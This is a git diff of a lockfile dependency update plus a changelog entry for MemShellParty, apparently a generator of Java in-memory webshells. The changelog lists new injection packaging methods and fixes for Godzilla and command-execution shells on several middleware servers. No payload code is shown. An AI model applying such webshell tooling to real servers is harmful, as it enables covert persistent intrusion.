"none" }, "sha512-mRObBZeHh2OxcBFPWE/FjylkRgZdYuiTR3vaTozquCGOH14iP9oN4x4Ge81CoIDYQrXmIxpFumJBu5MtZpnQJQ=="], - - "fumadocs-mdx/esbuild/@esbuild/linux-ppc64": ["@esbuild/linux-ppc64@0.28.1", "", { "os": "linux", "cpu": "ppc64" }, "sha512-slScBsMAb3GFDcdrCgLwZtPYRoH2H/youv10QiZyRjmsP48fznoveWytSgCI/R0ZcUgpc0ZhIUEx6LHts8yrfQ=="], - - "fumadocs-mdx/esbuild/@esbuild/linux-riscv64": ["@esbuild/linux-riscv64@0.28.1", "", { "os": "linux", "cpu": "none" }, "sha512-kw0owk1o0GFETUJyW0jc0G4Yzs0BHZn0JDZ8JRT088vjJYX777BAs1fDGxAC+q831qOs2DTC96mNsG2opdfyyQ=="], - - "fumadocs-mdx/esbuild/@esbuild/linux-s390x": ["@esbuild/linux-s390x@0.28.1", "", { "os": "linux", "cpu": "s390x" }, "sha512-/lAIjX8aYFRByhh6L5rYtPEDRqa9de/4V/juOXcta5frjvzXO4/sqEtyytse0g3zZFuWu5cDN0MkLz2qRDD2Ag=="], - - "fumadocs-mdx/esbuild/@esbuild/linux-x64": ["@esbuild/linux-x64@0.28.1", "", { "os": "linux", "cpu": "x64" }, "sha512-u/anNYF2mmVOEDwLtnQ1wOr3EZ9sTNGLWrsYGYwHWzGA3Si84IOkHXlbWTD1NB+9/1lcnweYKO54uhxZydNzfA=="], - - "fumadocs-mdx/esbuild/@esbuild/netbsd-arm64": ["@esbuild/netbsd-arm64@0.28.1", "", { "os": "none", "cpu": "arm64" }, "sha512-oks0DYbLwWMmaakTsCb+zL4E+aHRVLom9IJZOAthMQEPiQmydXHkziYEsGYRx0uNV/IjEKGAV941JzH02pflqw=="], - - "fumadocs-mdx/esbuild/@esbuild/netbsd-x64": ["@esbuild/netbsd-x64@0.28.1", "", { "os": "none", "cpu": "x64" }, "sha512-aeL6lAnN89Hz43Mlh1G8ARasbuoYvSITDEx0tHh5b7jJnHcssqgjy9Yx430GDpmCa6OyrKoS0aNRjKundRizGg=="], - - "fumadocs-mdx/esbuild/@esbuild/openbsd-arm64": ["@esbuild/openbsd-arm64@0.28.1", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-MEFJe5C3R8pwXdZ5Y21oo6m7ePiS0d9pWucn99O/wvyJZChoIQKrQDxKrGeW8F5+T0okTHesAmDeiHDTIq0V/Q=="], - - "fumadocs-mdx/esbuild/@esbuild/openbsd-x64": ["@esbuild/openbsd-x64@0.28.1", "", { "os": "openbsd", "cpu": "x64" }, "sha512-i/ZLIOafE0Z8cI/XANJAixoJL/uRAoS2xOA3rb0xN+KK0K177cMAsQYkzHtBrtMXAKuAc7HGgcWiZ/sRC1Nxgw=="], + "react-router-devtools/framer-motion/motion-dom": ["motion-dom@12.43.0", "", { "dependencies": { "motion-utils": "^12.39.0" } }, "sha512-azKON4d9S65PEoFUiQTMTgPheEmzf2QngdRc50AKfJp9Q9mmcBVw22c8eMq9k8kxOFHdL7+WZY7N/5F/lwiDag=="], - "fumadocs-mdx/esbuild/@esbuild/openharmony-arm64": ["@esbuild/openharmony-arm64@0.28.1", "", { "os": "none", "cpu": "arm64" }, "sha512-ge+Z7EXFNt2BO1oAMsVpiQ8EwndV9i1xXerAeTIK7AtPs3bKFXQM7nlRxDSIUIMeueR1CNXxqztLzdNeReKBJg=="], + "react-router-devtools/framer-motion/motion-utils": ["motion-utils@12.39.0", "", {}, "sha512-8nadJAJjTtqRkmRF36FoJTrywK9nnFmnPwnSMyxaOCU7GDjN9RTMJIxx9De8ErM+vpPhMccr/6fo5WciyQLnMQ=="], - "fumadocs-mdx/esbuild/@esbuild/sunos-x64": ["@esbuild/sunos-x64@0.28.1", "", { "os": "sunos", "cpu": "x64" }, "sha512-BEjgtECkL3vY+SaSQ6nzVfiALUeFxpawyp8Jmf5PtYhf1Ug40N1h/hxlhts+f1FvSvarEigdxS3BlSMI2PJLcQ=="], - - "fumadocs-mdx/esbuild/@esbuild/win32-arm64": ["@esbuild/win32-arm64@0.28.1", "", { "os": "win32", "cpu": "arm64" }, "sha512-lCv9eK/H6ZJWbE7bh2nw54CZ9M2nupBxJcTsdk/QQnWkdSjKGuxmmH8/GWrlT1eMmZfn4dGcCjRte397WqfQXA=="], - - "fumadocs-mdx/esbuild/@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.28.1", "", { "os": "win32", "cpu": "ia32" }, "sha512-zvb/mB2bSCoJOpoCBgYKKpX6YM6mJBlBUVUtVj41DlZJVEB6/0CKlRYxP5wWl1C1ILiCoAU5wZZ4q1P3qeS6Eg=="], - - "fumadocs-mdx/esbuild/@esbuild/win32-x64": ["@esbuild/win32-x64@0.28.1", "", { "os": "win32", "cpu": "x64" }, "sha512-bm4Mowrv+GXMlpWX++EcXw/iLyd1o3+bJkC2DkWXYVvgZCqD/bSj9ctZeAMC3cIxgjRVR2Dufaiu4YPxr5gW1A=="], - - "fumadocs-ui/@radix-ui/react-accordion/@radix-ui/primitive": ["@radix-ui/primitive@1.1.4", "", {}, "sha512-7AdCK9PQyiljKoBDbN8OuctCbd/esdwZPQ8RtOE3SsyQtUpiPb+ND75q0jEhC1m1ecBI0MFNeLJvwIh9iKHRcQ=="], - - "fumadocs-ui/@radix-ui/react-accordion/@radix-ui/react-collection": ["@radix-ui/react-collection@1.1.10", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.3", "@radix-ui/react-context": "1.1.4", "@radix-ui/react-primitive": "2.1.6", "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-IVVz4EvBcKjrzKgof714qDnz/SzQAkLA2Emh5edlHbgcE6fNd3Un6CJLlaYcnm8N4JmAtzQgse4dOKxcD2yc9g=="], - - "fumadocs-ui/@radix-ui/react-accordion/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.1.3", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-rYOP8OMnuuPMQF1uhPVlGNcCDlkokKqGFE3JcxFViIkAXP7EvFWUliJAstrapypaBLJNHbZL6jGhbVDGTwmVhA=="], - - "fumadocs-ui/@radix-ui/react-accordion/@radix-ui/react-context": ["@radix-ui/react-context@1.1.4", "", { "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-QwH4PO5urrbO+FaGd5Aglg+YJgWTyyuZ3g/6mKvsqraLkglDdckw9JafgL5McL5VEJ6EPNduPaT3ZE9BttDAqg=="], - - "fumadocs-ui/@radix-ui/react-accordion/@radix-ui/react-id": ["@radix-ui/react-id@1.1.2", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-orBC88futVpqCmhX1p4cvquNHsELQ+w+vBJnuj3ftETI5bJb0bZn3Tqu3SWN2IOcPycTnMGnhwoermvISt72sA=="], - - "fumadocs-ui/@radix-ui/react-accordion/@radix-ui/react-primitive": ["@radix-ui/react-primitive@2.1.6", "", { "dependencies": { "@radix-ui/react-slot": "1.3.0" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-wetd0QI77DbvrPpTAvH1SqOxsYF2wZe5TNxqwOd5Ty4XDpV3dpV0s8K/1MGMJBeY5o7lg8ub5VIt1Ub+yVen6g=="], - - "fumadocs-ui/@radix-ui/react-accordion/@radix-ui/react-use-controllable-state": ["@radix-ui/react-use-controllable-state@1.2.3", "", { "dependencies": { "@radix-ui/react-use-effect-event": "0.0.3", "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-PLzC90MS+ReootmjC597dvopoelpZ8Q61HJkDXZSExitIq7PL55vHNnesAHwguHK0aPfBnpdNzQtv1uliaqQrA=="], - - "react-router-devtools/@babel/core/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="], - - "react-router-devtools/@babel/core/@babel/helper-compilation-targets": ["@babel/helper-compilation-targets@7.27.2", "", { "dependencies": { "@babel/compat-data": "^7.27.2", "@babel/helper-validator-option": "^7.27.1", "browserslist": "^4.24.0", "lru-cache": "^5.1.1", "semver": "^6.3.1" } }, "sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3OTv45SyneRN3ps4DQ=="], - - "react-router-devtools/@babel/core/@babel/helper-module-transforms": ["@babel/helper-module-transforms@7.28.3", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-validator-identifier": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y98p2U1fqkdsw=="], - - "react-router-devtools/@babel/core/@babel/helpers": ["@babel/helpers@7.28.4", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/types": "^7.28.4" } }, "sha512-HFN59MmQXGHVyYadKLVumYsA9dBFun/ldYxipEjzA4196jpLZd8UjEEBLkbEkvfYreDqJhZxYAWFPtrfhNpj4w=="], - - "react-router-devtools/@babel/core/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="], - - "react-router-devtools/@babel/core/semver": ["semver@6.3.1", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], - - "react-router-devtools/@babel/traverse/@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="], - - "react-router-devtools/@babel/traverse/@babel/helper-globals": ["@babel/helper-globals@7.28.0", "", {}, "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw=="], - - "react-router-devtools/@babel/traverse/@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="], - - "react-router-devtools/@babel/types/@babel/helper-string-parser": ["@babel/helper-string-parser@7.27.1", "", {}, "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA=="], - - "react-router-devtools/@babel/types/@babel/helper-validator-identifier": ["@babel/helper-validator-identifier@7.28.5", "", {}, "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q=="], - - "serve-handler/minimatch/brace-expansion": ["brace-expansion@1.1.12", "", { "dependencies": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" } }, "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg=="], - - "vite-node/vite/esbuild": ["esbuild@0.28.1", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.28.1", "@esbuild/android-arm": "0.28.1", "@esbuild/android-arm64": "0.28.1", "@esbuild/android-x64": "0.28.1", "@esbuild/darwin-arm64": "0.28.1", "@esbuild/darwin-x64": "0.28.1", "@esbuild/freebsd-arm64": "0.28.1", "@esbuild/freebsd-x64": "0.28.1", "@esbuild/linux-arm": "0.28.1", "@esbuild/linux-arm64": "0.28.1", "@esbuild/linux-ia32": "0.28.1", "@esbuild/linux-loong64": "0.28.1", "@esbuild/linux-mips64el": "0.28.1", "@esbuild/linux-ppc64": "0.28.1", "@esbuild/linux-riscv64": "0.28.1", "@esbuild/linux-s390x": "0.28.1", "@esbuild/linux-x64": "0.28.1", "@esbuild/netbsd-arm64": "0.28.1", "@esbuild/netbsd-x64": "0.28.1", "@esbuild/openbsd-arm64": "0.28.1", "@esbuild/openbsd-x64": "0.28.1", "@esbuild/openharmony-arm64": "0.28.1", "@esbuild/sunos-x64": "0.28.1", "@esbuild/win32-arm64": "0.28.1", "@esbuild/win32-ia32": "0.28.1", "@esbuild/win32-x64": "0.28.1" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-HrJrvZv5ayxBzPfwphOoNzkzOIIlifzk0KJrGK2c8R4+LKpMtpYLQeUdjnwjWv/LZlkH2laZk+4w78pi99D4Vw=="], - - "@tanstack/devtools-vite/@babel/core/@babel/code-frame/@babel/helper-validator-identifier": ["@babel/helper-validator-identifier@7.28.5", "", {}, "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q=="], - - "@tanstack/devtools-vite/@babel/core/@babel/helper-compilation-targets/@babel/compat-data": ["@babel/compat-data@7.28.5", "", {}, "sha512-6uFXyCayocRbqhZOB+6XcuZbkMNimwfVGFji8CTZnCzOHVGvDqzvitu1re2AU5LROliz7eQPhB8CpAMvnx9EjA=="], - - "@tanstack/devtools-vite/@babel/core/@babel/helper-compilation-targets/@babel/helper-validator-option": ["@babel/helper-validator-option@7.27.1", "", {}, "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg=="], - - "@tanstack/devtools-vite/@babel/core/@babel/helper-module-transforms/@babel/helper-module-imports": ["@babel/helper-module-imports@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w=="], - - "@tanstack/devtools-vite/@babel/core/@babel/helper-module-transforms/@babel/helper-validator-identifier": ["@babel/helper-validator-identifier@7.28.5", "", {}, "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q=="], - - "@tanstack/devtools-vite/@babel/traverse/@babel/code-frame/@babel/helper-validator-identifier": ["@babel/helper-validator-identifier@7.28.5", "", {}, "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q=="], + "serve-handler/minimatch/brace-expansion": ["brace-expansion@1.1.18", "", { "dependencies": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" } }, "sha512-Edep/X9fGqVNmzKBVsDYIOtD+z1tuezV70LBjdCst9Tqu76lsnvRiZ6oTic1n+/BIwX6QDGAO94PN4N2SADvtw=="], "ansi-align/string-width/strip-ansi/ansi-regex": ["ansi-regex@5.0.1", "", {}, "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="], - "fumadocs-ui/@radix-ui/react-accordion/@radix-ui/react-use-controllable-state/@radix-ui/react-use-effect-event": ["@radix-ui/react-use-effect-event@0.0.3", "", { "dependencies": { "@radix-ui/react-use-layout-effect": "1.1.2" }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react"] }, "sha512-6c8ZqvPTWILEKnyVkP53EGRCcpnJiKTC21sS/6R1GF5xKyHJJWQEPfkqlcgUkdRQivd6tb23abUwe4ngWmY0JA=="], - - "react-router-devtools/@babel/core/@babel/code-frame/@babel/helper-validator-identifier": ["@babel/helper-validator-identifier@7.28.5", "", {}, "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q=="], - - "react-router-devtools/@babel/core/@babel/helper-compilation-targets/@babel/compat-data": ["@babel/compat-data@7.28.5", "", {}, "sha512-6uFXyCayocRbqhZOB+6XcuZbkMNimwfVGFji8CTZnCzOHVGvDqzvitu1re2AU5LROliz7eQPhB8CpAMvnx9EjA=="], - - "react-router-devtools/@babel/core/@babel/helper-compilation-targets/@babel/helper-validator-option": ["@babel/helper-validator-option@7.27.1", "", {}, "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg=="], - - "react-router-devtools/@babel/core/@babel/helper-module-transforms/@babel/helper-module-imports": ["@babel/helper-module-imports@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w=="], - - "react-router-devtools/@babel/core/@babel/helper-module-transforms/@babel/helper-validator-identifier": ["@babel/helper-validator-identifier@7.28.5", "", {}, "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q=="], - - "react-router-devtools/@babel/traverse/@babel/code-frame/@babel/helper-validator-identifier": ["@babel/helper-validator-identifier@7.28.5", "", {}, "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q=="], - "serve-handler/minimatch/brace-expansion/balanced-match": ["balanced-match@1.0.2", "", {}, "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="], - - "vite-node/vite/esbuild/@esbuild/aix-ppc64": ["@esbuild/aix-ppc64@0.28.1", "", { "os": "aix", "cpu": "ppc64" }, "sha512-Svl7tq8k/08+p6CXPpRjQ1fKX+1odH/BQbb48fV6fj3CWHhsoIOoY87w1oHXm0qEpkIK3ZfVgp0hed3XBXzXMQ=="], - - "vite-node/vite/esbuild/@esbuild/android-arm": ["@esbuild/android-arm@0.28.1", "", { "os": "android", "cpu": "arm" }, "sha512-0k2F129Xdio1TdJfzJ8sy1Q47vUD2NnwdhiAf7drUN1EBTfPf4hsFCtmMgu/6m8JSzsBrlmVjudMBQqOfG8usQ=="], - - "vite-node/vite/esbuild/@esbuild/android-arm64": ["@esbuild/android-arm64@0.28.1", "", { "os": "android", "cpu": "arm64" }, "sha512-34EGEbCIAgosYz6goLcopX6Mo7NyGv9tfwEM2/7Ce2VcVRk568iSvniGWcUXIy7wEDR1wzolcxcriFVrWYcwBg=="], - - "vite-node/vite/esbuild/@esbuild/android-x64": ["@esbuild/android-x64@0.28.1", "", { "os": "android", "cpu": "x64" }, "sha512-dbwY7ltSMDWsRatcRpCnES4F+im88OCUgGZjy52shC7GqHRE/cYlxNbB4Z4UpJswpcc4Qxd2oE/ufM0p61IKng=="], - - "vite-node/vite/esbuild/@esbuild/darwin-arm64": ["@esbuild/darwin-arm64@0.28.1", "", { "os": "darwin", "cpu": "arm64" }, "sha512-TZbWkQY7kvTAXbXUT7uVACR5cMHsDiSz9z7ZKAX/RTq/WJEk3QyRr0wZpNhBDX+/0CtdqUIJlOiodQcta6tY3Q=="], - - "vite-node/vite/esbuild/@esbuild/darwin-x64": ["@esbuild/darwin-x64@0.28.1", "", { "os": "darwin", "cpu": "x64" }, "sha512-zfdzgK9ACBNZLI/CyHTOx81SyNbM6YXn7rxSgX97VjyiPl9W1i4Ka4fgKECEoFCKGpvBj5qArWIGgQjOwkgskQ=="], - - "vite-node/vite/esbuild/@esbuild/freebsd-arm64": ["@esbuild/freebsd-arm64@0.28.1", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-wG2EA8ENdEI0qhkSZMjfqrdY+ziCYCPMmtZjjIwOmXFjmyzEHn+UUxk5of+SYsjtfs3VpnlC7QLzSI5hY/rOAw=="], - - "vite-node/vite/esbuild/@esbuild/freebsd-x64": ["@esbuild/freebsd-x64@0.28.1", "", { "os": "freebsd", "cpu": "x64" }, "sha512-i7dZ9vQgnvSCzi/rYCXNgtF/U+eKZNJBzu3eTQbRgHnM7tNSizLOkRFAl3qzVc/Op/u5YkHHa4pf/3DOYHthLQ=="], - - "vite-node/vite/esbuild/@esbuild/linux-arm": ["@esbuild/linux-arm@0.28.1", "", { "os": "linux", "cpu": "arm" }, "sha512-qVXBOHQS+d5Y722GwJzJUtOLlX7km3CraOaGormF1pDtPd2C/l1SHRPgjLunLGe51Sh5YYWKMFDyV4SxgMQYTQ=="], - - "vite-node/vite/esbuild/@esbuild/linux-arm64": ["@esbuild/linux-arm64@0.28.1", "", { "os": "linux", "cpu": "arm64" }, "sha512-yHs+0uc8+nvEAfAfxrWQKK5peSNzBc4PegcMO0EJ2hT71uA7vB8Ihg2e77R2P7SG5uYjPbHlLLmve4LLLRCf0g=="], - - "vite-node/vite/esbuild/@esbuild/linux-ia32": ["@esbuild/linux-ia32@0.28.1", "", { "os": "linux", "cpu": "ia32" }, "sha512-d1z4ZuP0ajrfz/FhGT4vv278rX8KnPPJx8i5+AtK7TYbx9Le9F1hyzurZpkEyjkGa9dUGhQow4C1NmeGvqxN2w=="], - - "vite-node/vite/esbuild/@esbuild/linux-loong64": ["@esbuild/linux-loong64@0.28.1", "", { "os": "linux", "cpu": "none" }, "sha512-M5sRjUVZrkm1OAPR3dlOYzNmN+loZKGVi1VUQGrwuqLcbR6qeAz+famMhjASeH3YVKvZz+zT1jlh/keC3Rj/lg=="], - - "vite-node/vite/esbuild/@esbuild/linux-mips64el": ["@esbuild/linux-mips64el@0.28.1", "", { "os": "linux", "cpu": "none" }, "sha512-mRObBZeHh2OxcBFPWE/FjylkRgZdYuiTR3vaTozquCGOH14iP9oN4x4Ge81CoIDYQrXmIxpFumJBu5MtZpnQJQ=="], - - "vite-node/vite/esbuild/@esbuild/linux-ppc64": ["@esbuild/linux-ppc64@0.28.1", "", { "os": "linux", "cpu": "ppc64" }, "sha512-slScBsMAb3GFDcdrCgLwZtPYRoH2H/youv10QiZyRjmsP48fznoveWytSgCI/R0ZcUgpc0ZhIUEx6LHts8yrfQ=="], - - "vite-node/vite/esbuild/@esbuild/linux-riscv64": ["@esbuild/linux-riscv64@0.28.1", "", { "os": "linux", "cpu": "none" }, "sha512-kw0owk1o0GFETUJyW0jc0G4Yzs0BHZn0JDZ8JRT088vjJYX777BAs1fDGxAC+q831qOs2DTC96mNsG2opdfyyQ=="], - - "vite-node/vite/esbuild/@esbuild/linux-s390x": ["@esbuild/linux-s390x@0.28.1", "", { "os": "linux", "cpu": "s390x" }, "sha512-/lAIjX8aYFRByhh6L5rYtPEDRqa9de/4V/juOXcta5frjvzXO4/sqEtyytse0g3zZFuWu5cDN0MkLz2qRDD2Ag=="], - - "vite-node/vite/esbuild/@esbuild/linux-x64": ["@esbuild/linux-x64@0.28.1", "", { "os": "linux", "cpu": "x64" }, "sha512-u/anNYF2mmVOEDwLtnQ1wOr3EZ9sTNGLWrsYGYwHWzGA3Si84IOkHXlbWTD1NB+9/1lcnweYKO54uhxZydNzfA=="], - - "vite-node/vite/esbuild/@esbuild/netbsd-arm64": ["@esbuild/netbsd-arm64@0.28.1", "", { "os": "none", "cpu": "arm64" }, "sha512-oks0DYbLwWMmaakTsCb+zL4E+aHRVLom9IJZOAthMQEPiQmydXHkziYEsGYRx0uNV/IjEKGAV941JzH02pflqw=="], - - "vite-node/vite/esbuild/@esbuild/netbsd-x64": ["@esbuild/netbsd-x64@0.28.1", "", { "os": "none", "cpu": "x64" }, "sha512-aeL6lAnN89Hz43Mlh1G8ARasbuoYvSITDEx0tHh5b7jJnHcssqgjy9Yx430GDpmCa6OyrKoS0aNRjKundRizGg=="], - - "vite-node/vite/esbuild/@esbuild/openbsd-arm64": ["@esbuild/openbsd-arm64@0.28.1", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-MEFJe5C3R8pwXdZ5Y21oo6m7ePiS0d9pWucn99O/wvyJZChoIQKrQDxKrGeW8F5+T0okTHesAmDeiHDTIq0V/Q=="], - - "vite-node/vite/esbuild/@esbuild/openbsd-x64": ["@esbuild/openbsd-x64@0.28.1", "", { "os": "openbsd", "cpu": "x64" }, "sha512-i/ZLIOafE0Z8cI/XANJAixoJL/uRAoS2xOA3rb0xN+KK0K177cMAsQYkzHtBrtMXAKuAc7HGgcWiZ/sRC1Nxgw=="], - - "vite-node/vite/esbuild/@esbuild/openharmony-arm64": ["@esbuild/openharmony-arm64@0.28.1", "", { "os": "none", "cpu": "arm64" }, "sha512-ge+Z7EXFNt2BO1oAMsVpiQ8EwndV9i1xXerAeTIK7AtPs3bKFXQM7nlRxDSIUIMeueR1CNXxqztLzdNeReKBJg=="], - - "vite-node/vite/esbuild/@esbuild/sunos-x64": ["@esbuild/sunos-x64@0.28.1", "", { "os": "sunos", "cpu": "x64" }, "sha512-BEjgtECkL3vY+SaSQ6nzVfiALUeFxpawyp8Jmf5PtYhf1Ug40N1h/hxlhts+f1FvSvarEigdxS3BlSMI2PJLcQ=="], - - "vite-node/vite/esbuild/@esbuild/win32-arm64": ["@esbuild/win32-arm64@0.28.1", "", { "os": "win32", "cpu": "arm64" }, "sha512-lCv9eK/H6ZJWbE7bh2nw54CZ9M2nupBxJcTsdk/QQnWkdSjKGuxmmH8/GWrlT1eMmZfn4dGcCjRte397WqfQXA=="], - - "vite-node/vite/esbuild/@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.28.1", "", { "os": "win32", "cpu": "ia32" }, "sha512-zvb/mB2bSCoJOpoCBgYKKpX6YM6mJBlBUVUtVj41DlZJVEB6/0CKlRYxP5wWl1C1ILiCoAU5wZZ4q1P3qeS6Eg=="], - - "vite-node/vite/esbuild/@esbuild/win32-x64": ["@esbuild/win32-x64@0.28.1", "", { "os": "win32", "cpu": "x64" }, "sha512-bm4Mowrv+GXMlpWX++EcXw/iLyd1o3+bJkC2DkWXYVvgZCqD/bSj9ctZeAMC3cIxgjRVR2Dufaiu4YPxr5gW1A=="], } } diff --git a/web/content/docs/changelog.mdx b/web/content/docs/changelog.mdx index 1ea09b13..135025bd 100644 --- a/web/content/docs/changelog.mdx +++ b/web/content/docs/changelog.mdx @@ -8,6 +8,29 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [v2.10.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.10.0) - 2026-08-30 + +### Added + +1. (WEB)内存马/探测马支持查看 cfr 反编译源码(Thanks @4ra1n for [4ra1n/cfr-wasm](https://github.com/4ra1n/cfr-wasm)) +2. 新增 FreeMarker SpEL/SpELJDK17 打包方式(Thanks @xcxmiku) +3. 新增 XSLT 打包方式 + +### Fixed + +1. 修复 BES 10/11 部分场景 context 找不到(#157 By @su18,#156 Thanks @mssky9527) +2. 修复 TongWeb7 SpringBoot Embedded 下 Filter/Valve/Agent 马注入失败(Thanks @su18) +3. 修复哥斯拉/命令执行 WebFilter/NettyHandler 多次长延迟请求阻塞耗尽请求线程导致业务中断(Thanks @xcxmiku) +4. 修复 SpringBoot4 WebFlux WebFilter 注入失败 +5. 修复自定义内存马传入 Java5 包含低版本指令时生成失败 + +### Changed + +1. 更新 fumadocs 版本和使用模式 +2. 依赖更新 + +**Full Changelog:** [v2.9.0...v2.10.0](https://github.com/ReaJason/MemShellParty/compare/v2.9.0...v2.10.0) + ## [v2.9.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.9.0) - 2026-08-03 ### Added @@ -72,11 +95,11 @@ and this 